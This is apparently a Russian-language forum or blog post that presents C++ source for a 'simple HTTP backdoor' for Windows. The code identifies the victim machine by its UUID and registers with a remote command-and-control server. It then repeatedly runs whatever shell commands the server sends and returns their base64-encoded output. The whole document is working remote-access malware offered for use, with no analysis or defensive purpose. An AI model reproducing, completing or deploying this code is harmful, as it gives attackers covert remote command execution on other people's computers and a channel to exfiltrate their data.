Простой бэкдор с работой по HTTP.

// определяем UUID системы в которой запустились
FILE* p_uuid;
wchar_t crBuffer[BUFFER];
std::wstring str_uuid;

//команду определения UUID смотреть в дефайне: #define UUID "wmic path win32_computersystemproduct get uuid | findstr .-."
strcpy_s(command, UUID);

if ((p_uuid = _popen(command, "rt")) == NULL)
 exit(1);

while (fgetws(crBuffer, BUFFER, p_uuid))
 str_uuid += base64_encode(std::wstring(crBuffer));


int endOfFileVal = feof(p_uuid);
int closeReturnVal = _pclose(p_uuid);

if (endOfFileVal)
{
 printf("\nProcess returned %d\n", closeReturnVal);
}
else
{
 printf("Error: Failed to read the pipe to the end.\n");
}

// подготовливаемся к отправке идентифицирующего запроса на сервер
data_for_server = data_for_script + L"&id=" + str_uuid + L"&info=";

using namespace WinHttpWrapper;

const std::wstring requestHeader = L"Content-Type: application/json";
bool https = false;

// требуемые параметры также определяем в дефайнах
HttpRequest req(SERVER, PORT, https);
HttpResponse response;

//делаем запрос на сервер
req.Get(data_for_server, L"", response);
// смотрим что улетело и что получили в ответ
std::wcout << "First request to server: " << SERVER << data_for_server << '\n';
std::cout << "First response server: " << response.text << '\n' << '\n';

//готовимся выпонять команду и принимать ее вывод
FILE* p_Out_command;
std::wstring str_out_command;
std::wstring str_out_command_base64;

//копируем команду из ответа сервера в переменную
if (response.text != "") {
 strcpy_s(command, response.text.c_str());
}
else {
 // если нет коннекта то завершаем работу проги
 std::cout << "\nNo connect to server...\n";
 exit(1);
}
//будем работать пока сервер не пришлёт команду на завершение работы
while (response.text != "q") {

 //обнуляем строку с результатом выполнения команды
 str_out_command = L"";
 
 // выполняем требуемую команду
 if ((p_Out_command = _popen(command, "rt")) == NULL)
  exit(1);

 // пишем вывод команды в строку
 while (fgetws(crBuffer, BUFFER, p_Out_command))
  str_out_command += std::wstring(crBuffer);

 int endOfFileVal = feof(p_Out_command);
 int closeReturnVal = _pclose(p_Out_command);

 if (endOfFileVal)
 {
  printf("\nProcess returned %d\n", closeReturnVal);
 }
 else
 {
  printf("Error: Failed to read the pipe to the end.\n");
 }

 //кодируем строку
 str_out_command_base64 = base64_encode(str_out_command);

 // глядим на результат выполнения
 std::wcout << "Result run command: " << str_out_command;

 //обнулим ответ от сервера
 response.Reset();

 //отправляем результат вывода команды на сервер
 std::wstring str_sec_req = data_for_script + L"&id=" + str_uuid + L"&info=" + str_out_command_base64;
 
 //поглядим что хотим отправить серверу во второй раз
 std::wcout << "Second request to server: " << str_sec_req << '\n';

 //отправляем
 req.Get(str_sec_req, L"", response);

 // глядим что пришло в ответ
 std::cout << "Second response server: " << response.text;

 // анализируем ответ сервера
 if (response.text == "s") {
  //если сервер сказал что пора поспать, то делаем долгую задержку
  std::cout << "\nSleep one minute.\n";
  strcpy_s(command, "");
  Sleep(60000);
 }
 else
 {
  // если спать не просили, значить надо выполнять команду, которую прислал сервер
  strcpy_s(command, response.text.c_str());
  std::cout << "\nSleep five sec. \n";
  Sleep(5000);
 }
}